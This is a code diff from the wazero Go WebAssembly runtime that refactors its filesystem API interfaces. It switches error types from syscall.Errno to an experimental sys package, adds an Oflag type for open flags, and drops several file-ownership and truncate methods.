// Ino returns the inode (Stat_t.Ino) of this file, zero if unknown or an
// error there was an error retrieving it.
// Dev returns the device ID (Stat_t.Dev) of this file, zero if unknown or
// an error retrieving it.
//
// # Errors
//
// Possible errors are those from Stat, except syscall.ENOSYS should not
// Possible errors are those from Stat, except ENOSYS should not
// be returned. Zero should be returned if there is no implementation.
//
// # Notes
//
// - Some implementations implement this with a cached call to Stat.
Ino() (uint64, syscall.Errno)
// - Implementations should cache this result.
// - This combined with Ino can implement os.SameFile.
Dev() (uint64, experimentalsys.Errno)
// Ino returns the serial number (Stat_t.Ino) of this file, zero if unknown
// or an error retrieving it.
//
// # Errors
//
// Possible errors are those from Stat, except ENOSYS should not
// be returned. Zero should be returned if there is no implementation.
//
// # Notes
//
// - Implementations should cache this result.
// - This combined with Dev can implement os.SameFile.
Ino() (sys.Inode, experimentalsys.Errno)
// IsDir returns true if this file is a directory or an error there was an
// error retrieving this information.
//
// # Errors
//
// Possible errors are those from Stat, except ENOSYS should not
// be returned. false should be returned if there is no implementation.
//
// # Notes
//
// - Implementations should cache this result.
IsDir() (bool, experimentalsys.Errno)
// IsNonblock returns true if the file was opened with O_NONBLOCK, or
// SetNonblock was successfully enabled on this file.
@@ -53,17 +86,17 @@ type File interface {
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.EBADF: the file or directory was closed.
// A zero Errno is success. The below are expected otherwise:
// - ENOSYS: the implementation does not support this function.
// - EBADF: the file or directory was closed.
//
// # Notes
//
// - This is like syscall.SetNonblock and `fcntl` with O_NONBLOCK in
// POSIX. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/fcntl.html
SetNonblock(enable bool) syscall.Errno
SetNonblock(enable bool) experimentalsys.Errno
// IsAppend returns true if the file was opened with syscall.O_APPEND, or
// IsAppend returns true if the file was opened with fsapi.O_APPEND, or
// SetAppend was successfully enabled on this file.
//
// # Notes
@@ -72,28 +105,28 @@ type File interface {
// the file was not opened via OpenFile.
IsAppend() bool
// SetAppend toggles the append mode (syscall.O_APPEND) of this file.
// SetAppend toggles the append mode (fsapi.O_APPEND) of this file.
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.EBADF: the file or directory was closed.
// A zero Errno is success. The below are expected otherwise:
// - ENOSYS: the implementation does not support this function.
// - EBADF: the file or directory was closed.
//
// # Notes
//
// - There is no `O_APPEND` for `fcntl` in POSIX, so implementations may
// have to re-open the underlying file to apply this. See
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html
SetAppend(enable bool) syscall.Errno
SetAppend(enable bool) experimentalsys.Errno
// Stat is similar to syscall.Fstat.
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.EBADF: the file or directory was closed.
// A zero Errno is success. The below are expected otherwise:
// - ENOSYS: the implementation does not support this function.
// - EBADF: the file or directory was closed.
//
// # Notes
//
@@ -102,29 +135,17 @@ type File interface {
// - A fs.FileInfo backed implementation sets atim, mtim and ctim to the
// same value.
// - Windows allows you to stat a closed directory.
Stat() (Stat_t, syscall.Errno)
// IsDir returns true if this file is a directory or an error there was an
// error retrieving this information.
//
// # Errors
//
// Possible errors are those from Stat.
//
// # Notes
//
// - Some implementations implement this with a cached call to Stat.
IsDir() (bool, syscall.Errno)
Stat() (sys.Stat_t, experimentalsys.Errno)
// Read attempts to read all bytes in the file into `buf`, and returns the
// count read even on error.
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.EBADF: the file or directory was closed or not readable.
// - syscall.EISDIR: the file was a directory.
// A zero Errno is success. The below are expected otherwise:
// - ENOSYS: the implementation does not support this function.
// - EBADF: the file or directory was closed or not readable.
// - EISDIR: the file was a directory.
//
// # Notes
//
@@ -132,18 +153,18 @@ type File interface {
// io.Reader. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/read.html
// - Unlike io.Reader, there is no io.EOF returned on end-of-file. To
// read the file completely, the caller must repeat until `n` is zero.
Read(buf []byte) (n int, errno syscall.Errno)
Read(buf []byte) (n int, errno experimentalsys.Errno)
// Pread attempts to read all bytes in the file into `p`, starting at the
// offset `off`, and returns the count read even on error.
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.EBADF: the file or directory was closed or not readable.
// - syscall.EINVAL: the offset was negative.
// - syscall.EISDIR: the file was a directory.
// A zero Errno is success. The below are expected otherwise:
// - ENOSYS: the implementation does not support this function.
// - EBADF: the file or directory was closed or not readable.
// - EINVAL: the offset was negative.
// - EISDIR: the file was a directory.
//
// # Notes
//
@@ -151,7 +172,7 @@ type File interface {
// of io.ReaderAt. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/pread.html
// - Unlike io.ReaderAt, there is no io.EOF returned on end-of-file. To
// read the file completely, the caller must repeat until `n` is zero.
Pread(buf []byte, off int64) (n int, errno syscall.Errno)
Pread(buf []byte, off int64) (n int, errno experimentalsys.Errno)
// Seek attempts to set the next offset for Read or Write and returns the
// resulting absolute offset or an error.
@@ -174,16 +195,16 @@ type File interface {
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.EBADF: the file or directory was closed or not readable.
// - syscall.EINVAL: the offset was negative.
// A zero Errno is success. The below are expected otherwise:
// - ENOSYS: the implementation does not support this function.
// - EBADF: the file or directory was closed or not readable.
// - EINVAL: the offset was negative.
//
// # Notes
//
// - This is like io.Seeker and `fseek` in POSIX, preferring semantics
// of io.Seeker. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/fseek.html
Seek(offset int64, whence int) (newOffset int64, errno syscall.Errno)
Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno)
// PollRead returns if the file has data ready to be read or an error.
//
@@ -193,8 +214,8 @@ type File interface {
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// A zero Errno is success. The below are expected otherwise:
// - ENOSYS: the implementation does not support this function.
//
// # Notes
//
@@ -203,7 +224,7 @@ type File interface {
// - No-op files, such as those which read from /dev/null, should return
// immediately true to avoid hangs (because data will never become
// available).
PollRead(timeout *time.Duration) (ready bool, errno syscall.Errno)
PollRead(timeout *time.Duration) (ready bool, errno experimentalsys.Errno)
// Readdir reads the contents of the directory associated with file and
// returns a slice of up to n Dirent values in an arbitrary order. This is
@@ -214,136 +235,101 @@ type File interface {
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.ENOTDIR: the file was not a directory
// A zero Errno is success. The below are expected otherwise:
// - ENOSYS: the implementation does not support this function.
// - EBADF: the file was closed or not a directory.
// - ENOENT: the directory could not be read (e.g. deleted).
//
// # Notes
//
// - This is like `Readdir` on os.File, but unlike `readdir` in POSIX.
// See https://pubs.opengroup.org/onlinepubs/9699919799/functions/readdir.html
// - For portability reasons, no error is returned at the end of the
// directory, when the file is closed or removed while open.
// See https://github.com/ziglang/zig/blob/0.10.1/lib/std/fs.zig#L635-L637
Readdir(n int) (dirents []Dirent, errno syscall.Errno)
// ^-- TODO: consider being more like POSIX, for example, returning a
// closeable Dirent object that can iterate on demand. This would
// centralize sizing logic needed by wasi, particularly extra dirents
// stored in the sys.FileEntry type. It could possibly reduce the need to
// reopen the whole file.
// - Unlike os.File, there is no io.EOF returned on end-of-directory. To
// read the directory completely, the caller must repeat until the
// count read (`len(dirents)`) is less than `n`.
// - See /RATIONALE.md for design notes.
Readdir(n int) (dirents []Dirent, errno experimentalsys.Errno)
// Write attempts to write all bytes in `p` to the file, and returns the
// count written even on error.
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.EBADF: the file was closed, not writeable, or a directory.
// A zero Errno is success. The below are expected otherwise:
// - ENOSYS: the implementation does not support this function.
// - EBADF: the file was closed, not writeable, or a directory.
//
// # Notes
//
// - This is like io.Writer and `write` in POSIX, preferring semantics of
// io.Writer. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/write.html
Write(buf []byte) (n int, errno syscall.Errno)
Write(buf []byte) (n int, errno experimentalsys.Errno)
// Pwrite attempts to write all bytes in `p` to the file at the given
// offset `off`, and returns the count written even on error.
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.EBADF: the file or directory was closed or not writeable.
// - syscall.EINVAL: the offset was negative.
// - syscall.EISDIR: the file was a directory.
// A zero Errno is success. The below are expected otherwise:
// - ENOSYS: the implementation does not support this function.
// - EBADF: the file or directory was closed or not writeable.
// - EINVAL: the offset was negative.
// - EISDIR: the file was a directory.
//
// # Notes
//
// - This is like io.WriterAt and `pwrite` in POSIX, preferring semantics
// of io.WriterAt. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/pwrite.html
Pwrite(buf []byte, off int64) (n int, errno syscall.Errno)
Pwrite(buf []byte, off int64) (n int, errno experimentalsys.Errno)
// Truncate truncates a file to a specified length.
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.EBADF: the file or directory was closed.
// - syscall.EINVAL: the `size` is negative.
// - syscall.EISDIR: the file was a directory.
// A zero Errno is success. The below are expected otherwise:
// - ENOSYS: the implementation does not support this function.
// - EBADF: the file or directory was closed.
// - EINVAL: the `size` is negative.
// - EISDIR: the file was a directory.
//
// # Notes
//
// - This is like syscall.Ftruncate and `ftruncate` in POSIX. See
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/ftruncate.html
// - Windows does not error when calling Truncate on a closed file.
Truncate(size int64) syscall.Errno
Truncate(size int64) experimentalsys.Errno
// Sync synchronizes changes to the file.
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.EBADF: the file or directory was closed.
// A zero Errno is success. The below are expected otherwise:
// - EBADF: the file or directory was closed.
//
// # Notes
//
// - This is like syscall.Fsync and `fsync` in POSIX. See
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/fsync.html
// - This returns with no error instead of syscall.ENOSYS when
// - This returns with no error instead of ENOSYS when
// unimplemented. This prevents fake filesystems from erring.
// - Windows does not error when calling Sync on a closed file.
Sync() syscall.Errno
Sync() experimentalsys.Errno
// Datasync synchronizes the data of a file.
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.EBADF: the file or directory was closed.
// A zero Errno is success. The below are expected otherwise:
// - EBADF: the file or directory was closed.
//
// # Notes
//
// - This is like syscall.Fdatasync and `fdatasync` in POSIX. See
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/fdatasync.html
// - This returns with no error instead of syscall.ENOSYS when
// - This returns with no error instead of ENOSYS when
// unimplemented. This prevents fake filesystems from erring.
// - As this is commonly missing, some implementations dispatch to Sync.
Datasync() syscall.Errno
// Chmod changes the mode of the file.
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.EBADF: the file or directory was closed.
//
// # Notes
//
// - This is like syscall.Fchmod and `fchmod` in POSIX. See
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/fchmod.html
// - Windows ignores the execute bit, and any permissions come back as
// group and world. For example, chmod of 0400 reads back as 0444, and
// 0700 0666. Also, permissions on directories aren't supported at all.
Chmod(fs.FileMode) syscall.Errno
// Chown changes the owner and group of a file.
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.EBADF: the file or directory was closed.
//
// # Notes
//
// - This is like syscall.Fchown and `fchown` in POSIX. See
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/fchown.html
// - This always returns syscall.ENOSYS on windows.
Chown(uid, gid int) syscall.Errno
Datasync() experimentalsys.Errno
// Utimens set file access and modification times of this file, at
// nanosecond precision.
@@ -357,26 +343,25 @@ type File interface {
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.EBADF: the file or directory was closed.
// A zero Errno is success. The below are expected otherwise:
// - ENOSYS: the implementation does not support this function.
// - EBADF: the file or directory was closed.
//
// # Notes
//
// - This is like syscall.UtimesNano and `futimens` in POSIX. See
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/futimens.html
// - Windows requires files to be open with syscall.O_RDWR, which means you
// cannot use this to update timestamps on a directory (syscall.EPERM).
Utimens(times *[2]syscall.Timespec) syscall.Errno
// - Windows requires files to be open with fsapi.O_RDWR, which means you
// cannot use this to update timestamps on a directory (EPERM).
Utimens(times *[2]syscall.Timespec) experimentalsys.Errno
// Close closes the underlying file.
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// A zero Errno is returned if unimplemented or success.
//
// # Notes
//
// - This is like syscall.Close and `close` in POSIX. See
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/close.html
Close() syscall.Errno
Close() experimentalsys.Errno
}
+86 -155
View File
@@ -3,20 +3,23 @@ package fsapi
import (
"io/fs"
"syscall"
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/sys"
)
// FS is a writeable fs.FS bridge backed by syscall functions needed for ABI
// including WASI and runtime.GOOS=js.
//
// Implementations should embed UnimplementedFS for forward compatability. Any
// unsupported method or parameter should return syscall.ENO
// unsupported method or parameter should return ENO
//
// # Errors
//
// All methods that can return an error return a syscall.Errno, which is zero
// All methods that can return an error return a Errno, which is zero
// on success.
//
// Restricting to syscall.Errno matches current WebAssembly host functions,
// Restricting to Errno matches current WebAssembly host functions,
// which are constrained to well-known error codes. For example, `GOOS=js` maps
// hard coded values and panics otherwise. More commonly, WASI maps syscall
// errors to u32 numeric values.
@@ -26,33 +29,23 @@ import (
// A writable filesystem abstraction is not yet implemented as of Go 1.20. See
// https://github.com/golang/go/issues/45757
type FS interface {
// String should return a human-readable format of the filesystem
//
// For example, if this filesystem is backed by the real directory
// "/tmp/wasm", the expected value is "/tmp/wasm".
//
// When the host filesystem isn't a real filesystem, substitute a symbolic,
// human-readable name. e.g. "virtual"
String() string
// OpenFile opens a file. It should be closed via Close on File.
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.EINVAL: `path` or `flag` is invalid.
// - syscall.EISDIR: the path was a directory, but flag included
// syscall.O_RDWR or syscall.O_WRONLY
// - syscall.ENOENT: `path` doesn't exist and `flag` doesn't contain
// os.O_CREATE.
// A zero Errno is success. The below are expected otherwise:
// - sys.ENOSYS: the implementation does not support this function.
// - sys.EINVAL: `path` or `flag` is invalid.
// - sys.EISDIR: the path was a directory, but flag included O_RDWR or
// O_WRONLY
// - sys.ENOENT: `path` doesn't exist and `flag` doesn't contain O_CREAT.
//
// # Constraints on the returned file
//
// Implementations that can read flags should enforce them regardless of
// the type returned. For example, while os.File implements io.Writer,
// attempts to write to a directory or a file opened with os.O_RDONLY fail
// with a syscall.EBADF.
// attempts to write to a directory or a file opened with O_RDONLY fail
// with a EBADF.
//
// Some implementations choose whether to enforce read-only opens, namely
// fs.FS. While fs.FS is supported (Adapt), wazero cannot runtime enforce
@@ -62,23 +55,19 @@ type FS interface {
// # Notes
//
// - This is like os.OpenFile, except the path is relative to this file
// system, and syscall.Errno is returned instead of os.PathError.
// - flag are the same as os.OpenFile, for example, os.O_CREATE.
// - Implications of permissions when os.O_CREATE are described in Chmod
// notes.
// system, and Errno is returned instead of os.PathError.
// - Implications of permissions when O_CREAT are described in Chmod notes.
// - This is like `open` in POSIX. See
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html
OpenFile(path string, flag int, perm fs.FileMode) (File, syscall.Errno)
// ^^ TODO: Consider syscall.Open, though this implies defining and
// coercing flags and perms similar to what is done in os.OpenFile.
OpenFile(path string, flag Oflag, perm fs.FileMode) (File, experimentalsys.Errno)
// Lstat gets file status without following symbolic links.
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.ENOENT: `path` doesn't exist.
// A zero Errno is success. The below are expected otherwise:
// - sys.ENOSYS: the implementation does not support this function.
// - sys.ENOENT: `path` doesn't exist.
//
// # Notes
//
@@ -90,15 +79,15 @@ type FS interface {
// same value.
// - When the path is a symbolic link, the stat returned is for the link,
// not the file it refers to.
Lstat(path string) (Stat_t, syscall.Errno)
Lstat(path string) (sys.Stat_t, experimentalsys.Errno)
// Stat gets file status.
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.ENOENT: `path` doesn't exist.
// A zero Errno is success. The below are expected otherwise:
// - sys.ENOSYS: the implementation does not support this function.
// - sys.ENOENT: `path` doesn't exist.
//
// # Notes
//
@@ -110,17 +99,17 @@ type FS interface {
// same value.
// - When the path is a symbolic link, the stat returned is for the file
// it refers to.
Stat(path string) (Stat_t, syscall.Errno)
Stat(path string) (sys.Stat_t, experimentalsys.Errno)
// Mkdir makes a directory.
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.EINVAL: `path` is invalid.
// - syscall.EEXIST: `path` exists and is a directory.
// - syscall.ENOTDIR: `path` exists and is a file.
// A zero Errno is success. The below are expected otherwise:
// - sys.ENOSYS: the implementation does not support this function.
// - sys.EINVAL: `path` is invalid.
// - sys.EEXIST: `path` exists and is a directory.
// - sys.ENOTDIR: `path` exists and is a file.
//
// # Notes
//
@@ -129,18 +118,16 @@ type FS interface {
// - This is like `mkdir` in POSIX. See
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/mkdir.html
// - Implications of permissions are described in Chmod notes.
Mkdir(path string, perm fs.FileMode) syscall.Errno
// ^^ TODO: Consider syscall.Mkdir, though this implies defining and
// coercing flags and perms similar to what is done in os.Mkdir.
Mkdir(path string, perm fs.FileMode) experimentalsys.Errno
// Chmod changes the mode of the file.
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.EINVAL: `path` is invalid.
// - syscall.ENOENT: `path` does not exist.
// A zero Errno is success. The below are expected otherwise:
// - sys.ENOSYS: the implementation does not support this function.
// - sys.EINVAL: `path` is invalid.
// - sys.ENOENT: `path` does not exist.
//
// # Notes
//
@@ -151,55 +138,19 @@ type FS interface {
// - Windows ignores the execute bit, and any permissions come back as
// group and world. For example, chmod of 0400 reads back as 0444, and
// 0700 0666. Also, permissions on directories aren't supported at all.
Chmod(path string, perm fs.FileMode) syscall.Errno
// Chown changes the owner and group of a file.
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.EINVAL: `path` is invalid.
// - syscall.ENOENT: `path` does not exist.
//
// # Notes
//
// - This is like syscall.Chown, except the `path` is relative to this
// file system.
// - This is like `chown` in POSIX. See
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/chown.html
// - This always returns syscall.ENOSYS on windows.
Chown(path string, uid, gid int) syscall.Errno
// Lchown changes the owner and group of a symbolic link.
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.EINVAL: `path` is invalid.
// - syscall.ENOENT: `path` does not exist.
//
// # Notes
//
// - This is like syscall.Lchown, except the `path` is relative to this
// file system.
// - This is like `lchown` in POSIX. See
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/lchown.html
// - Windows will always return syscall.ENOSYS
Lchown(path string, uid, gid int) syscall.Errno
Chmod(path string, perm fs.FileMode) experimentalsys.Errno
// Rename renames file or directory.
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.EINVAL: `from` or `to` is invalid.
// - syscall.ENOENT: `from` or `to` don't exist.
// - syscall.ENOTDIR: `from` is a directory and `to` exists as a file.
// - syscall.EISDIR: `from` is a file and `to` exists as a directory.
// - syscall.ENOTEMPTY: `both from` and `to` are existing directory, but
// A zero Errno is success. The below are expected otherwise:
// - sys.ENOSYS: the implementation does not support this function.
// - sys.EINVAL: `from` or `to` is invalid.
// - sys.ENOENT: `from` or `to` don't exist.
// - sys.ENOTDIR: `from` is a directory and `to` exists as a file.
// - sys.EISDIR: `from` is a file and `to` exists as a directory.
// - sys.ENOTEMPTY: `both from` and `to` are existing directory, but
// `to` is not empty.
//
// # Notes
@@ -209,18 +160,18 @@ type FS interface {
// - This is like `rename` in POSIX. See
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/rename.html
// - Windows doesn't let you overwrite an existing directory.
Rename(from, to string) syscall.Errno
Rename(from, to string) experimentalsys.Errno
// Rmdir removes a directory.
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.EINVAL: `path` is invalid.
// - syscall.ENOENT: `path` doesn't exist.
// - syscall.ENOTDIR: `path` exists, but isn't a directory.
// - syscall.ENOTEMPTY: `path` exists, but isn't empty.
// A zero Errno is success. The below are expected otherwise:
// - sys.ENOSYS: the implementation does not support this function.
// - sys.EINVAL: `path` is invalid.
// - sys.ENOENT: `path` doesn't exist.
// - sys.ENOTDIR: `path` exists, but isn't a directory.
// - sys.ENOTEMPTY: `path` exists, but isn't empty.
//
// # Notes
//
@@ -228,18 +179,18 @@ type FS interface {
// file system.
// - This is like `rmdir` in POSIX. See
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/rmdir.html
// - As of Go 1.19, Windows maps syscall.ENOTDIR to syscall.ENOENT.
Rmdir(path string) syscall.Errno
// - As of Go 1.19, Windows maps sys.ENOTDIR to sys.ENOENT.
Rmdir(path string) experimentalsys.Errno
// Unlink removes a directory entry.
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.EINVAL: `path` is invalid.
// - syscall.ENOENT: `path` doesn't exist.
// - syscall.EISDIR: `path` exists, but is a directory.
// A zero Errno is success. The below are expected otherwise:
// - sys.ENOSYS: the implementation does not support this function.
// - sys.EINVAL: `path` is invalid.
// - sys.ENOENT: `path` doesn't exist.
// - sys.EISDIR: `path` exists, but is a directory.
//
// # Notes
//
@@ -250,18 +201,18 @@ type FS interface {
// - On Windows, syscall.Unlink doesn't delete symlink to directory unlike other platforms. Implementations might
// want to combine syscall.RemoveDirectory with syscall.Unlink in order to delete such links on Windows.
// See https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-removedirectorya
Unlink(path string) syscall.Errno
Unlink(path string) experimentalsys.Errno
// Link creates a "hard" link from oldPath to newPath, in contrast to a
// soft link (via Symlink).
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.EPERM: `oldPath` is invalid.
// - syscall.ENOENT: `oldPath` doesn't exist.
// - syscall.EISDIR: `newPath` exists, but is a directory.
// A zero Errno is success. The below are expected otherwise:
// - sys.ENOSYS: the implementation does not support this function.
// - sys.EPERM: `oldPath` is invalid.
// - sys.ENOENT: `oldPath` doesn't exist.
// - sys.EISDIR: `newPath` exists, but is a directory.
//
// # Notes
//
@@ -269,17 +220,17 @@ type FS interface {
// file system.
// - This is like `link` in POSIX. See
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/link.html
Link(oldPath, newPath string) syscall.Errno
Link(oldPath, newPath string) experimentalsys.Errno
// Symlink creates a "soft" link from oldPath to newPath, in contrast to a
// hard link (via Link).
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.EPERM: `oldPath` or `newPath` is invalid.
// - syscall.EEXIST: `newPath` exists.
// A zero Errno is success. The below are expected otherwise:
// - sys.ENOSYS: the implementation does not support this function.
// - sys.EPERM: `oldPath` or `newPath` is invalid.
// - sys.EEXIST: `newPath` exists.
//
// # Notes
//
@@ -293,17 +244,17 @@ type FS interface {
// See https://github.com/bytecodealliance/cap-std/blob/v1.0.4/cap-std/src/fs/dir.rs#L404-L409
// for how others implement this.
// - Symlinks in Windows requires `SeCreateSymbolicLinkPrivilege`.
// Otherwise, syscall.EPERM results.
// Otherwise, sys.EPERM results.
// See https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/create-symbolic-links
Symlink(oldPath, linkName string) syscall.Errno
Symlink(oldPath, linkName string) experimentalsys.Errno
// Readlink reads the contents of a symbolic link.
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.EINVAL: `path` is invalid.
// A zero Errno is success. The below are expected otherwise:
// - sys.ENOSYS: the implementation does not support this function.
// - sys.EINVAL: `path` is invalid.
//
// # Notes
//
@@ -314,26 +265,7 @@ type FS interface {
// - On Windows, the path separator is different from other platforms,
// but to provide consistent results to Wasm, this normalizes to a "/"
// separator.
Readlink(path string) (string, syscall.Errno)
// Truncate truncates a file to a specified length.
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.EINVAL: `path` is invalid or size is negative.
// - syscall.ENOENT: `path` doesn't exist.
// - syscall.EISDIR: `path` is a directory.
// - syscall.EACCES: `path` doesn't have write access.
//
// # Notes
//
// - This is like syscall.Truncate, except the path is relative to this
// filesystem.
// - This is like `truncate` in POSIX. See
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/truncate.html
Truncate(path string, size int64) syscall.Errno
Readlink(path string) (string, experimentalsys.Errno)
// Utimens set file access and modification times on a path relative to
// this file system, at nanosecond precision.
@@ -341,25 +273,24 @@ type FS interface {
// # Parameters
//
// The `times` parameter includes the access and modification timestamps to
// assign. Special syscall.Timespec NSec values platform.UTIME_NOW and
// platform.UTIME_OMIT may be specified instead of real timestamps. A nil
// `times` parameter behaves the same as if both were set to
// platform.UTIME_NOW.
//
// When the `symlinkFollow` parameter is true and the path is a symbolic link,
// the target of expanding that link is updated.
// assign. Special syscall.Timespec NSec values UTIME_NOW and UTIME_OMIT
// may be specified instead of real timestamps. A nil `times` parameter
// behaves the same as if both were set to UTIME_NOW. If the path is a
// symbolic link, the target of expanding that link is updated.
//
// # Errors
//
// A zero syscall.Errno is success. The below are expected otherwise:
// - syscall.ENOSYS: the implementation does not support this function.
// - syscall.EINVAL: `path` is invalid.
// - syscall.EEXIST: `path` exists and is a directory.
// - syscall.ENOTDIR: `path` exists and is a file.
// A zero Errno is success. The below are expected otherwise:
// - sys.ENOSYS: the implementation does not support this function.
// - sys.EINVAL: `path` is invalid.
// - sys.EEXIST: `path` exists and is a directory.
// - sys.ENOTDIR: `path` exists and is a file.
//
// # Notes
//
// - This is like syscall.UtimesNano and `utimensat` with `AT_FDCWD` in
// POSIX. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/futimens.html
Utimens(path string, times *[2]syscall.Timespec, symlinkFollow bool) syscall.Errno
Utimens(path string, times *[2]syscall.Timespec) experimentalsys.Errno
// TODO: change impl to not use syscall package,
// possibly by being just a pair of int64s..
}
+70
View File
@@ -0,0 +1,70 @@
package fsapi
// Oflag are flags used for FS.OpenFile. Values, including zero, should not be
// interpreted numerically. Instead, use by constants prefixed with 'O_' with
// special casing noted below.
//
// # Notes
//
// - O_RDONLY, O_RDWR and O_WRONLY are mutually exclusive, while the other
// flags can coexist bitwise.
// - This is like `flag` in os.OpenFile and `oflag` in POSIX. See
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html
type Oflag uint32
// This is a subset of oflags to reduce implementation burden. `wasip1` splits
// these across `oflags` and `fdflags`. We can't rely on the Go `os` package,
// as it is missing some values. Any flags added will be defined in POSIX
// order, as needed by functions that explicitly document accepting them.
//
// https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-oflags-flagsu16
// https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-fdflags-flagsu16
const (
// O_RDONLY is like os.O_RDONLY
O_RDONLY Oflag = iota
// O_RDWR is like os.O_RDWR
O_RDWR
// O_WRONLY is like os.O_WRONLY
O_WRONLY
// Define bitflags as they are in POSIX `open`: alphabetically
// O_APPEND is like os.O_APPEND
O_APPEND Oflag = 1 << iota
// O_CREAT is link os.O_CREATE
O_CREAT
// O_DIRECTORY is defined on some platforms as syscall.O_DIRECTORY.
//
// Note: This ensures that the opened file is a directory. Those emulating
// on platforms that don't support the O_DIRECTORY, can double-check the
// result with File.IsDir (or stat) and err if not a directory.
O_DIRECTORY
// O_DSYNC is defined on some platforms as syscall.O_DSYNC.
O_DSYNC
// O_EXCL is defined on some platforms as syscall.O_EXCL.
O_EXCL
// O_NOFOLLOW is defined on some platforms as syscall.O_NOFOLLOW.
//
// Note: This allows programs to ensure that if the opened file is a
// symbolic link, the link itself is opened instead of its target.
O_NOFOLLOW
// O_NONBLOCK is defined on some platforms as syscall.O_NONBLOCK.
O_NONBLOCK
// O_RSYNC is defined on some platforms as syscall.O_RSYNC.
O_RSYNC
// O_SYNC is defined on some platforms as syscall.O_SYNC.
O_SYNC
// O_TRUNC is defined on some platforms as syscall.O_TRUNC.
O_TRUNC
)
-48
View File
@@ -1,48 +0,0 @@
package fsapi
import "io/fs"
